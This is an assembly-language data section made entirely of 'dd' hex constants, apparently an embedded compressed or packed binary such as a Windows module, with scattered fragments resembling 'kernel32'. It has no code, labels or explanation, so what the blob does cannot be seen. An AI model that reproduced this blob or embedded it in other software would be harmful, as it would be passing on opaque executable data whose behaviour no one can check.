dd 3430B025h, 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h
dd 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h, 49646117h
dd 446DD300h, 0F83046h, 69757243h, 617B63E4h, 0EB537E00h
dd 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h, 1895B000h
dd 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h, 0EC46FE00h
dd 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h, 0A6001AF4h
dd 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh, 0D0548325h
dd 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h, 7773F02Dh
dd 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h, 17AD23Dh
dd 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h, 899B1D00h
dd 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h, 72504300h
dd 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh, 61488E3Fh
dd 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h, 565A5216h
dd 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h, 0A3938E00h
dd 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h, 4D18B0E8h
dd 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh, 0A98A5724h
dd 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch, 0C033DA99h
dd 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h, 3D9A6600h
dd 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h, 52F0ABF3h
dd 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h, 79288A4Eh
dd 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h, 38527A4Bh
dd 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h, 0BE406279h
dd 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h, 619E00FFh
dd 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h, 3F29767Bh
dd 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h, 9A4F29D9h
dd 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h, 29747561h
dd 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h
dd 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh, 844DE965h
dd 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah, 542849Ah
dd 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h, 2A1749AAh
dd 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h, 60934092h
dd 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h, 536EC558h
dd 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h, 0C463CADEh
dd 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h, 0C4D42873h
dd 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h, 322100F2h
dd 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h, 134900B5h
dd 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h, 149738Bh
dd 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh
dd 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h, 0CC6B1E84h
dd 73F70DAh, 41256361h, 0F22EC097h, 5D005051h, 93C077A2h
dd 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh, 24DF3E00h
dd 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h, 0A2309C41h
dd 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah, 53092084h
dd 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h, 6C440580h
dd 0D5004967h, 252366EDh, 38699FA0h, 9480B970h, 0A276B444h
dd 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h, 1E324693h
dd 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h, 57E08A63h
dd 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh, 9C9BA8h
dd 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh, 0A3144EADh
dd 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h, 0B41D2CD4h
dd 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh, 0F3EC4CA8h
dd 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h, 412C5357h
dd 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h, 1459A361h
dd 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h, 981A0C7Dh
dd 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h, 18547078h
dd 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h, 203D3251h
dd 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h, 70801h
dd 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h, 0E850E44Ch
dd 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah
dd 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh
dd 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h, 0F93AF132h
dd 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h
dd 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h
dd 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah, 0BF90B87Eh
dd 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch, 55362161h
dd 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh, 1ECD9EC2h
dd 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h, 0B43A6730h
dd 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h, 7EAE7EA8h
dd 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah, 2E672847h
dd 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh, 303B1AE1h
dd 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h, 1D2E9D15h
dd 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h
dd 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h, 0E172D92Dh
dd 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh, 8CC0007h
dd 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh
dd 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh, 3EFE971Eh
dd 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h, 1CFC7E0Eh
dd 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh, 87F980EEh
dd 3083302h, 21471827h, 0F0017267h, 93C789A7h, 0A1C999E7h
dd 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh, 0E0BFD9B7h
dd 72351900h, 7627741Fh, 6278014Ah, 3F368349h, 0D0C9C9B5h
dd 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h
dd 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h, 663D4A3Ch
dd 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh, 0D3C3A1B3h
dd 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h, 12A71DCCh
dd 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h, 0CF19ABC8h
dd 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah, 1CF2007Eh
dd 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh, 7873762Bh
dd 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h, 673D4447h
dd 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h
dd 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh, 503AFBE0h
dd 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h, 643203CFh
dd 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h, 368040E8h
dd 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h, 459E3E1Dh
dd 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h, 723B0EC8h
dd 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh, 0E0C953h
dd 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h, 28C1206h
dd 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h, 0F279E3h
dd 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh
dd 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh, 7C2C7A74h
dd 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h
dd 0CFAACFA2h, 0C0C4CFB2h
dd 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h, 9E758473h
dd 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh
dd 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh, 9F1E1FF3h
dd 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh, 80F61FFFh
dd 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh
dd 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h
dd 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h
dd 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h, 2E0F26CFh
dd 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh, 7EF27603h
dd 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch, 0E1190DCh
dd 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh, 20FD7CC0h
dd 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h
dd 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h, 1C00143Ah
dd 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h, 6C7E647Ch
dd 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh
dd 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h, 195B03Ch
dd 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh, 40E884E7h
dd 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h, 7404723Dh
dd 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah, 643D5C3Ch
dd 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h, 0F9C04FE9h
dd 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h, 1C3E0114h
dd 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h, 0EC6CEC74h
dd 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h
dd 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h
dd 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h, 4C884830h
dd 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h, 49E0122Ah
dd 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h, 612501D4h
dd 51347882h, 0F96890F3h, 3090E488h, 0BA675274h, 0A4727E54h
dd 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h
dd 3970FCh, 83A0431h, 383C665Ch, 2E403D00h, 4C9F6844h
dd 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h, 0AAAAA0F0h
dd 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh, 82D7F8E5h
dd 93043D80h, 0CA30008h, 20C310B3h, 500040D2h, 0B4C4A94h
dd 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h
dd 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h, 48045D33h
dd 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h, 60CF5C22h
dd 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh, 12BC8732h
dd 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h, 4D3A1434h
dd 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh, 0DE70B5A1h
dd 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h, 0CFC0130Fh
dd 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh, 782E5CE8h
dd 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h, 0DA2474BAh
dd 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh, 0B840A4CFh
dd 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h, 0ED3CE834h
dd 44095670h, 4F848F4h, 49D25094h, 419A4A58h, 0E2F1C688h
dd 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h, 4104623Bh
dd 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h, 818E259Fh
dd 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h, 0A2607083h
dd 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h, 0A748009Fh
dd 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah, 1ED35B45h
dd 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h, 9F00A72Eh
dd 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh, 713905E1h
dd 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h, 2B0E0058h
dd 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h, 0D8A5437Fh
dd 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h, 7ACD6077h
dd 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h, 47780203h
dd 989B6787h, 12AEFEh, 940CF188h, 30050708h, 0D824A509h
dd 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh
dd 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh, 0F10B8EE9h
dd 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h
dd 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h, 0C45385h
dd 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h, 0B100A874h
dd 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h, 11360800h
dd 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh, 7E3E6B04h
dd 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h, 610F2BC9h
dd 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h, 0B12E2F6h
dd 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h, 0EC6D8E00h
dd 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h, 4BD897A2h
dd 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h
dd 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h, 0F64B3097h
dd 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h, 0C6605DC4h
dd 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h, 5761D0E9h
dd 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h
dd 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h, 2CFC7318h
dd 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh, 97A980E6h
dd 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h
dd 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh, 0EB75602Eh
dd 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h, 500990ACh
dd 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah, 4FF0FF3Eh
dd 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh, 97C9893Fh
dd 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h, 48493327h
dd 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h, 86317247h
dd 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h
dd 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh, 0E74BC70Eh
dd 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h
dd 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h, 0E53A0Fh
dd 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h, 3E560060h
dd 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h, 75312E30h
dd 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h, 356D001Ch
dd 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h
dd 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h
dd 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h
dd 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h
dd 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h
dd 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h
dd 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h
dd 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh
dd 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch
dd 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh
dd 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h
dd 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch
dd 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h, 8430170Bh
dd 38A0DE3Bh, 0E8FF3Dh
dd 1DF612F2h, 0FE27FAh, 0F437B02Dh, 0B25AF849h, 734A6601h
dd 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h
dd 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h
dd 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh
dd 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh, 284C9DE5h
dd 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh, 5E75747Eh
dd 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h, 0C8630080h
dd 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah, 1007EC2Dh
dd 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h, 0F13CC038h
dd 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h, 0F498F090h
dd 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h, 5AF1C0C9h
dd 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah, 0DC42C29h
dd 3D604D1h, 803E873Ch, 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h
dd 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h, 0C8986C00h
dd 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h, 0D62D8A0Fh
dd 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h, 0E7B0212Dh
dd 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h, 0F8895961h
dd 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h, 0A73E19A0h
dd 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h, 700827B5h
dd 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh, 0C1016349h
dd 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h, 88739250h
dd 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h, 0E0224418h
dd 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch, 0F2AD80A7h
dd 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h
dd 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch, 0C0D11CCFh
dd 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh, 0AEF20049h
dd 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h, 583BDAD4h
dd 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh, 8F874F7Fh
dd 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h
dd 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h, 28823302h
dd 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h, 10E4D1h
dd 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h, 3E2D000Bh
dd 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh, 44001C7Eh
dd 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h, 44070292h
dd 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h, 0A08EC798h
dd 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h, 72692CD8h
dd 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h, 92620026h
dd 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h, 7BE0024h
dd 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h, 0E01CD722h
dd 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h, 60A414C0h
dd 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h, 6CE868E6h
dd 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh, 5F343CD0h
dd 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh, 0D3430462h
dd 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h, 80623900h
dd 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh, 0A300B734h
dd 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh, 1F71FAACh
dd 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h, 5780BC08h
dd 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h
dd 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah, 3C9100D9h
dd 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah, 0F42CF028h
dd 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h, 12140037h
dd 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h, 0CF39C307h
dd 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah, 3C703389h
dd 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h, 0F5F2583Bh
dd 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h, 63A5FC87h
dd 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h, 1D720201h
dd 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h, 94004974h
dd 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh, 3A51F60Eh
dd 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h, 0CEBAE680h
dd 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h, 37E0018Eh
dd 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h, 213B121Fh
dd 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh, 43FA0729h
dd 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch, 0BF0293B3h
dd 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h, 0DF4AD378h
dd 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh, 0B8C9AB30h
dd 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh, 0FCBC7AD2h
dd 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h
dd 3F2F7A0h, 740068F0h, 783E9822h, 574946h, 259B3FA8h
dd 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h, 3904F0F5h
dd 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h, 406E3CAAh
dd 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh, 167C0094h
dd 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h, 2DED78E1h
dd 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h, 0C08C5056h
dd 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh
dd 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h, 7F13BE9h
dd 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h, 0F4E7EB88h
dd 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h, 22A95Bh
dd 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h, 8C084C78h
dd 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh, 5D3E0157h
dd 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh
dd 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh, 80E79FA4h
dd 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h, 58B88EC9h
dd 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h, 48058F80h
dd 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h, 0A044128Eh
dd 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h, 28050790h
dd 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch, 0ADCBA390h
dd 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh
dd 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h, 3A1939ECh
dd 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh, 96351EC9h
dd 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h
dd 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch
dd 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h
dd 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h
dd 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h
dd 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h
dd 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h
dd 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h
dd 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h
dd 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh
dd 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h
dd 197ECh, 173C07A2h, 41D122C9h, 2452D900h, 0C4926FC8h
dd 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh, 0BD3C3Bh
dd 0C1C725C2h, 0F9D11C60h
dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h
dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h
dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h
dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h
dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh
dd 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h, 0C314034Fh
dd 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah
dd 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh
dd 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh, 0D9F641C1h
dd 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h, 2E0591B0h
dd 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah, 84321E36h
dd 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch, 98CF39h
dd 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h, 0B3329201h
